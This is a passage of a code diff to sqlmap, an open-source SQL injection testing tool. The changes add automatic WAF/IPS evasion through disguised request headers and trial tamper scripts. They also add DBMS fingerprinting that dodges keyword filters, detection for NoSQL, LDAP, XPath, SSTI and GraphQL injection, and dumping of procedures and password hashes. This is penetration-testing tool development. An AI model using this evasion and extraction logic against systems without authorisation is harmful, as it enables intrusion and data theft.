+        kb.data.has_information_schema = True
+        if not conf.tamper:
+            from lib.utils.wafbypass import loadTamper
+            for _name in ("blindbinary", "infoschema2innodb"):
+                function = loadTamper(_name)
+                if function is not None and function not in (kb.tamperFunctions or []):
+                    kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
+            logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
+
     if not Backend.getDbms() or not conf.dbmsHandler:
         htmlParsed = Format.getErrorParsedDBMSes()
 
@@ -78,6 +114,9 @@ def action():
     if conf.getStatements:
         conf.dumper.statements(conf.dbmsHandler.getStatements())
 
+    if conf.getProcs:
+        conf.dumper.procedures(conf.dbmsHandler.getProcedures())
+
     if conf.getPasswordHashes:
         try:
             conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)

lib/controller/checks.py

@@ -16,6 +16,7 @@ from extra.beep.beep import beep
 from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import extractRegexResult
+from lib.core.common import extractStructuralTokens
 from lib.core.common import extractTextTagContent
 from lib.core.common import filterNone
 from lib.core.common import findDynamicContent
@@ -79,14 +80,22 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
 from lib.core.settings import FI_ERROR_REGEX
 from lib.core.settings import FORMAT_EXCEPTION_STRINGS
+from lib.core.settings import GRAPHQL_ERROR_REGEX
 from lib.core.settings import HEURISTIC_CHECK_ALPHABET
 from lib.core.settings import INFERENCE_EQUALS_CHAR
+from lib.core.settings import LDAP_ERROR_REGEX
+from lib.core.settings import SSTI_ERROR_REGEX
+from lib.core.settings import XPATH_ERROR_REGEX
 from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IPS_WAF_CHECK_RATIO
 from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import MAX_STABILITY_DELAY
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
+from lib.core.settings import NOSQL_ERROR_REGEX
+from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH
+from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW
+from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH
 from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
 from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
@@ -94,12 +103,14 @@ from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.settings import URI_HTTP_HEADER
+from lib.core.settings import WAF_BLOCK_HTTP_CODES
 from lib.core.threads import getCurrentThreadData
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
 from lib.request.templates import getPageTemplate
+from lib.utils.dialect import dialectCheckDbms
 from lib.techniques.union.test import unionTest
 from lib.techniques.union.use import configUnion
 from thirdparty import six
@@ -149,6 +160,13 @@ def checkSqlInjection(place, parameter, value):
                     if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                         kb.heuristicDbms = heuristicCheckDbms(injection)
 
+                    # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads
+                    # and is skipped when the WAF/IPS is dropping requests; the operator-dialect
+                    # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in
+                    # that case (or when it was inconclusive), using the now-calibrated boolean oracle
+                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None:
+                        kb.heuristicDbms = dialectCheckDbms(injection)
+
                 # If the DBMS has already been fingerprinted (via DBMS-specific
                 # error message, simple heuristic check or via DBMS-specific
                 # payload), ask the user to limit the tests to the fingerprinted
@@ -580,6 +598,18 @@ def checkSqlInjection(place, parameter, value):
                                                     break
 
                             if injectable:
+                                # WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that
+                                # mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403)
+                                # while the FALSE condition passes (2xx) is the WAF answering, not the database.
+                                # A real boolean injection's TRUE condition reproduces the normal page, so this
+                                # status-code asymmetry is the classic false positive - refuse it here.
+                                if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400:
+                                    warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
+                                    warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive"
+                                    logger.warning(warnMsg)
+                                    injectable = False
+                                    continue
+
                                 if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
                                     if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
                                         suggestion = conf.code = trueCode
@@ -1088,7 +1118,7 @@ def heuristicCheckSqlInjection(place, parameter):
     if casting:
         errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
 
-        platform = conf.url.split('.')[-1].lower()
+        platform = (extractRegexResult(r"\.(?P<result>\w+)(?:\?|\Z)", conf.url) or conf.url.split('.')[-1]).lower()
         if platform == WEB_PLATFORM.ASP:
             errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
         elif platform == WEB_PLATFORM.ASPX:
@@ -1149,6 +1179,41 @@ def heuristicCheckSqlInjection(place, parameter):
     except (SystemError, RuntimeError) as ex:
         logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
 
+    if not conf.nosql and re.search(NOSQL_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.graphql and re.search(GRAPHQL_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.xpath and re.search(XPATH_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (XPath) test shows that %sparameter '%s' might be vulnerable to XPath injection (rerun with switch '--xpath')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.ssti and re.search(SSTI_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
     kb.disableHtmlDecoding = False
     kb.heuristicMode = False
 
@@ -1238,7 +1303,7 @@ def checkDynamicContent(firstPage, secondPage):
             kb.heavilyDynamic = True
 
             secondPage, _, _ = Request.queryPage(content=True)
-            findDynamicContent(firstPage, secondPage)
+            findDynamicContent(firstPage, secondPage, merge=True)
 
 def checkStability():
     """
@@ -1329,7 +1394,26 @@ def checkStability():
                 raise SqlmapNoneDataException(errMsg)
 
         else:
-            checkDynamicContent(firstPage, secondPage)
+            # Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
+            # whether the page is structurally stable (identical tag/class/id skeleton across the two
+            # requests) despite differing text. If so, base the comparison on that value-free structure
+            # so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
+            # the HTML counterpart of the structure-aware JSON comparison
+            if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
+                kb.pageStructurallyStable = True
+
+                if kb.nullConnection:
+                    debugMsg = "turning off NULL connection "
+                    debugMsg += "support because of structural page comparison"
+                    logger.debug(debugMsg)
+
+                    kb.nullConnection = None
+
+                infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
+                infoMsg += "will base the page comparison on the page structure"
+                logger.info(infoMsg)
+            else:
+                checkDynamicContent(firstPage, secondPage)
 
     return kb.pageStable
 
@@ -1351,6 +1435,10 @@ def checkWaf():
             warnMsg = "previous heuristics detected that the target "
             warnMsg += "is protected by some kind of WAF/IPS"
             logger.critical(warnMsg)
+            if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True):    # re-apply a previously accepted automatic bypass
+                from lib.utils.wafbypass import neutralizeFingerprint
+                kb.wafBypass = True
+                neutralizeFingerprint()
         return _
 
     if not kb.originalPage:
@@ -1377,6 +1465,7 @@ def checkWaf():
     kb.choices.redirect = REDIRECTION.YES
     kb.resendPostOnRedirect = False
     conf.timeout = IPS_WAF_CHECK_TIMEOUT
+    kb.checkWafMode = True
 
     try:
         retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
@@ -1384,6 +1473,7 @@ def checkWaf():
         retVal = True
     finally:
         kb.matchRatio = None
+        kb.checkWafMode = False
 
         conf.timeout = popValue()
         kb.resendPostOnRedirect = popValue()
@@ -1391,6 +1481,7 @@ def checkWaf():
 
     hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
 
+
     if retVal:
         if not kb.identifiedWafs:
             warnMsg = "heuristics detected that the target "
@@ -1404,9 +1495,19 @@ def checkWaf():
         if not choice:
             raise SqlmapUserQuitException
         else:
-            if not conf.tamper:
-                warnMsg = "please consider usage of tamper scripts (option '--tamper')"
-                singleTimeWarnMessage(warnMsg)
+            if not conf.tamper and not kb.tamperFunctions:
+                message = "do you want sqlmap to try to automatically bypass the WAF/IPS during "
+                message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] "
+                kb.wafBypass = readInput(message, default='Y', boolean=True)
+                hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True)
+                if kb.wafBypass:
+                    # apply it up-front so the whole run (detection included) avoids the scanner
+                    # fingerprint, instead of getting blocked first and only then retrying
+                    from lib.utils.wafbypass import neutralizeFingerprint
+                    neutralizeFingerprint()
+                    logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS")
+                else:
+                    singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')")
 
     return retVal
 
@@ -1434,30 +1535,79 @@ def checkNullConnection():
         pushValue(kb.pageCompress)
         kb.pageCompress = False
 
+        # A method is accepted only if the length it reports tracks the real GET response. The
+        # original page length (len(kb.originalPage)) is the reference; a method whose length is
+        # grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code
+        # path, or sneaked-in compression) would otherwise make every page look identical and
+        # silently break detection. The band is coarse on purpose (byte-vs-character size and
+        # moderate page dynamism are expected); a false reject just forgoes the optimization
+        def _plausibleLength(length):
+            reference = len(kb.originalPage or "")
+            if not reference:
+                return True
+            return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference
+
         try:
             page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
 
             if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
-                kb.nullConnection = NULLCONNECTION.HEAD
+                try:
+                    length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
+                except ValueError:
+                    length = None
 
-                infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
-                logger.info(infoMsg)
-            else:
+                if length is not None and _plausibleLength(length):
+                    kb.nullConnection = NULLCONNECTION.HEAD
+
+                    infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
+                    logger.info(infoMsg)
+                elif length is not None:
+                    debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                    logger.debug(debugMsg)
+
+            if kb.nullConnection is None:
                 page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
 
                 if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
-                    kb.nullConnection = NULLCONNECTION.RANGE
+                    try:
+                        length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
+                    except ValueError:
+                        length = None
 
-                    infoMsg = "NULL connection is supported with GET method ('Range')"
-                    logger.info(infoMsg)
-                else:
-                    _, headers, _ = Request.getPage(skipRead=True)
+                    if length is not None and _plausibleLength(length):
+                        kb.nullConnection = NULLCONNECTION.RANGE
 
-                    if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
+                        infoMsg = "NULL connection is supported with GET method ('Range')"
+                        logger.info(infoMsg)
+                    elif length is not None:
+                        debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                        logger.debug(debugMsg)
+
+            if kb.nullConnection is None:
+                _, headers, _ = Request.getPage(skipRead=True)
+
+                if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
+                    try:
+                        length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
+                    except ValueError:
+                        length = len(kb.originalPage or "")
+
+                    if not _plausibleLength(length):
+                        debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                        logger.debug(debugMsg)
+                    # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the
+                    # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake
+                    # per request. That only outweighs the avoided body transfer for large responses;
+                    # for small ones it is a net slowdown, so it is gated by the response size here
+                    elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH:
                         kb.nullConnection = NULLCONNECTION.SKIP_READ
 
                         infoMsg = "NULL connection is supported with 'skip-read' method"
                         logger.info(infoMsg)
+                    else:
+                        debugMsg = "'skip-read' NULL connection method is available but skipped because the "
+                        debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length
+                        logger.debug(debugMsg)
 
         except SqlmapConnectionException:
             pass

lib/controller/controller.py

@@ -41,6 +41,7 @@ from lib.core.common import readInput
 from lib.core.common import removePostHintPrefix
 from lib.core.common import safeCSValue
 from lib.core.common import showHttpErrorCodes
+from lib.core.common import singleTimeWarnMessage
 from lib.core.common import urldecode
 from lib.core.common import urlencode
 from lib.core.compat import xrange
@@ -70,11 +71,13 @@ from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
+from lib.core.settings import HASHDB_STALE_DAYS
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import IGNORE_PARAMETERS
 from lib.core.settings import LOW_TEXT_PERCENT
 from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import USER_AGENT_ALIASES
+from lib.core.settings import WAF_BYPASS_MAX_TRIALS
 from lib.core.target import initTargetEnv
 from lib.core.target import setupTargetEnv
 from lib.utils.hash import crackHashFile
@@ -167,6 +170,57 @@ def _formatInjection(inj):
 
     return data
 
+def _autoWafBypass(place, parameter, value):
+    """
+    Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in
+    kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner
+    User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled
+    and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection()
+    through a candidate is itself the validation - it succeeds only if the resulting payload both
+    passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically.
+    """
+
+    from lib.utils.wafbypass import candidateTampers, loadTamper
+
+    retVal = None
+
+    savedTamper = kb.tamperFunctions
+    savedTechnique = conf.technique
+    conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN]    # bound each trial to a quick boolean re-check
+
+    candidates = candidateTampers(identifiedWafs=kb.identifiedWafs)
+
+    try:
+        for count, name in enumerate(candidates):
+            if count >= WAF_BYPASS_MAX_TRIALS:
+                break
+
+            function = loadTamper(name)
+            if function is None:
+                continue
+
+            kb.tamperFunctions = [function]
+            logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name)
+
+            injection = checkSqlInjection(place, parameter, value)
+            if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
+                logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name)
+                logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name)
+                retVal = injection
+                return retVal
+
+            if kb.droppingRequests and count >= 2:
+                logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass")
+                break
+    finally:
+        conf.technique = savedTechnique
+        if retVal is None:      # nothing worked - leave tampering untouched
+            kb.tamperFunctions = savedTamper
+            # honest bail: say it could not be bypassed and what to try manually
+            logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)")
+
+    return retVal
+
 def _showInjections():
     if conf.wizard and kb.wizardMode:
         kb.wizardMode = False
@@ -181,9 +235,29 @@ def _showInjections():
         conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
         conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
     else:
+        # --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without
+        # printing them (the human-readable injection points are rendered just below)
+        if conf.reportJson:
+            conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET)
+            conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES)
+
         data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
         conf.dumper.string(header, data)
 
+    # when results were resumed (no test requests this run), nudge if the session file is stale -
+    # this is the common "why is it showing old/unexpected results?" confusion
+    if kb.testQueryCount == 0 and not conf.freshQueries:
+        try:
+            days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600))
+        except (OSError, IOError, TypeError):
+            days = 0
+
+        if days >= HASHDB_STALE_DAYS:
+            warnMsg = "results above were resumed from a session file last updated %d days ago, " % days
+            warnMsg += "so they may be stale. Rerun with '--flush-session' to retest "
+            warnMsg += "or '--fresh-queries' to ignore cached query results"
+            logger.warning(warnMsg)
+
     if conf.tamper:
         warnMsg = "changes made by tampering scripts are not "
         warnMsg += "included in shown payload content(s)"
@@ -431,13 +505,21 @@ def start():
                     infoMsg = "testing URL '%s'" % targetUrl
                     logger.info(infoMsg)
 
+            if conf.graphql and PLACE.GET not in conf.parameters:
+                # graphqlScan() is self-contained and operates on the GraphQL
+                # document, not on HTTP parameters. A dummy GET parameter keeps
+                # _setRequestParams() from appending the URI injection marker ('*')
+                # to a bare endpoint URL (which would break detection under
+                # '--batch'); it is discarded by graphqlScan() on entry.
+                conf.parameters[PLACE.GET] = "x"
+
             setupTargetEnv()
 
-            if not checkConnection(suppressOutput=conf.forms):
+            if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
                 continue
 
             if conf.rParam and kb.originalPage:
-                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
+                kb.randomPool = dict(_ for _ in kb.randomPool.items() if isinstance(_[1], list))
 
                 for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage):
                     name, _ = match.groups()
@@ -447,6 +529,34 @@ def start():
 
             checkWaf()
 
+            if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile):
+                singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only")
+
+            if conf.graphql:
+                from lib.techniques.graphql.inject import graphqlScan
+                graphqlScan()
+                continue
+
+            if conf.nosql:
+                from lib.techniques.nosql.inject import nosqlScan
+                nosqlScan()
+                continue
+
+            if conf.ldap:
+                from lib.techniques.ldap.inject import ldapScan
+                ldapScan()
+                continue
+
+            if conf.xpath:
+                from lib.techniques.xpath.inject import xpathScan
+                xpathScan()
+                continue
+
+            if conf.ssti:
+                from lib.techniques.ssti.inject import sstiScan
+                sstiScan()
+                continue
+
             if conf.nullConnection:
                 checkNullConnection()
 
@@ -605,6 +715,14 @@ def start():
                                 logger.info(infoMsg)
 
                                 injection = checkSqlInjection(place, parameter, value)
+
+                                # WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but
+                                # the standard payloads were blocked -> try to auto-bypass it (request
+                                # fingerprint neutralization and/or a tamper script)
+                                if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \
+                                   and not conf.tamper and not kb.tamperFunctions:
+                                    injection = _autoWafBypass(place, parameter, value) or injection
+
                                 proceed = not kb.endDetection
                                 injectable = False
 
@@ -704,9 +822,13 @@ def start():
                         errMsg += "does not match exclusively True responses."
 
                     if not conf.tamper:
-                        errMsg += " If you suspect that there is some kind of protection mechanism "
-                        errMsg += "involved (e.g. WAF) maybe you could try to use "
-                        errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
+                        if kb.identifiedWafs:
+                            errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs)
+                            errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')"
+                        else:
+                            errMsg += " If you suspect that there is some kind of protection mechanism "
+                            errMsg += "involved (e.g. WAF) maybe you could try to use "
+                            errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
 
                         if not conf.randomAgent:
                             errMsg += " and/or switch '--random-agent'"
@@ -729,7 +851,12 @@ def start():
                     condition = True
 
                 if condition:
-                    action()
+                    try:
+                        action()
+                    finally:
+                        if conf.proof:
+                            from lib.utils.prove import proveExploitation
+                            proveExploitation()
 
         except KeyboardInterrupt:
             if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):

lib/controller/handler.py

@@ -42,6 +42,7 @@ from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
 from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
 from plugins.dbms.access import AccessMap
@@ -73,6 +74,7 @@ from plugins.dbms.sybase import SybaseMap
 from plugins.dbms.vertica import VerticaMap
 from plugins.dbms.virtuoso import VirtuosoMap
 from plugins.dbms.snowflake import SnowflakeMap
+from plugins.dbms.spanner import SpannerMap
 
 def setHandler():
     """
@@ -110,6 +112,7 @@ def setHandler():
         (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"),
         (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
         (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
+        (DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
     ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

lib/core/agent.py

@@ -51,6 +51,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
 from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
 from lib.core.settings import INFERENCE_MARKER
+from lib.core.settings import MYSQL_UNION_VALUE_CAST
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
@@ -69,9 +70,9 @@ class Agent(object):
         query = self.cleanupPayload(query)
 
         if query.upper().startswith("AND "):
-            query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
+            query = re.sub(r"(?i)AND ", "SELECT ", query, count=1)
         elif query.upper().startswith(" UNION ALL "):
-            query = re.sub(r"(?i) UNION ALL ", "", query, 1)
+            query = re.sub(r"(?i) UNION ALL ", "", query, count=1)
         elif query.startswith("; "):
             query = query.replace("; ", "", 1)
 
@@ -203,7 +204,7 @@ class Agent(object):
                 origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
-            _ = "%s%s" % (origValue, kb.customInjectionMark)
+            _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark)
 
             if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
                 newValue = '"%s"' % self.addPayloadDelimiters(newValue)
@@ -220,7 +221,7 @@ class Agent(object):
         elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
             if base64Encoding:
                 retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
-                match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
+                match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", "", parameter)), retVal)
                 if match:
                     retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
             else:
@@ -410,6 +411,9 @@ class Agent(object):
         """
 
         if payload:
+            if Backend.isDbms(DBMS.SPANNER):
+                payload = payload.replace(" FROM default.", " FROM ").replace(" FROM `default`.", " FROM ")
+
             for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
                 _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
                 payload = payload.replace(match.group(0), _)
@@ -673,6 +677,49 @@ class Agent(object):
             pass
         return retVal
 
+    @staticmethod
+    def _collapseFieldDelimiterSpace(query):
+        """
+        Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside
+        single/double quoted string literals, so a comma-space inside a literal (e.g. in a
+        WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling
+        mirrors splitFields()/zeroDepthSearch().
+
+        >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t")
+        'SELECT a,b FROM t'
+        >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'")
+        "SELECT a,b FROM t WHERE name='John, Jr'"
+        """
+
+        retVal = []
+        quote = None
+        index = 0
+        length = len(query)
+
+        while index < length:
+            char = query[index]
+            if quote:
+                retVal.append(char)
+                if char == quote:
+                    if index + 1 < length and query[index + 1] == quote:  # escaped quote (e.g. '')
+                        retVal.append(query[index + 1])
+                        index += 2
+                        continue
+                    else:
+                        quote = None
+            elif char in ('"', "'"):
+                quote = char
+                retVal.append(char)
+            elif char == ',' and index + 1 < length and query[index + 1] == ' ':
+                retVal.append(',')  # keep the delimiter, drop the single trailing space
+                index += 2
+                continue
+            else:
+                retVal.append(char)
+            index += 1
+
+        return "".join(retVal)
+
     def concatQuery(self, query, unpack=True):
         """
         Take in input a query string and return its processed nulled,
@@ -701,7 +748,7 @@ class Agent(object):
 
         if unpack:
             concatenatedQuery = ""
-            query = query.replace(", ", ',')
+            query = self._collapseFieldDelimiterSpace(query)
             fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
             castedFields = self.nullCastConcatFields(fieldsToCastStr)
             concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
@@ -724,7 +771,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
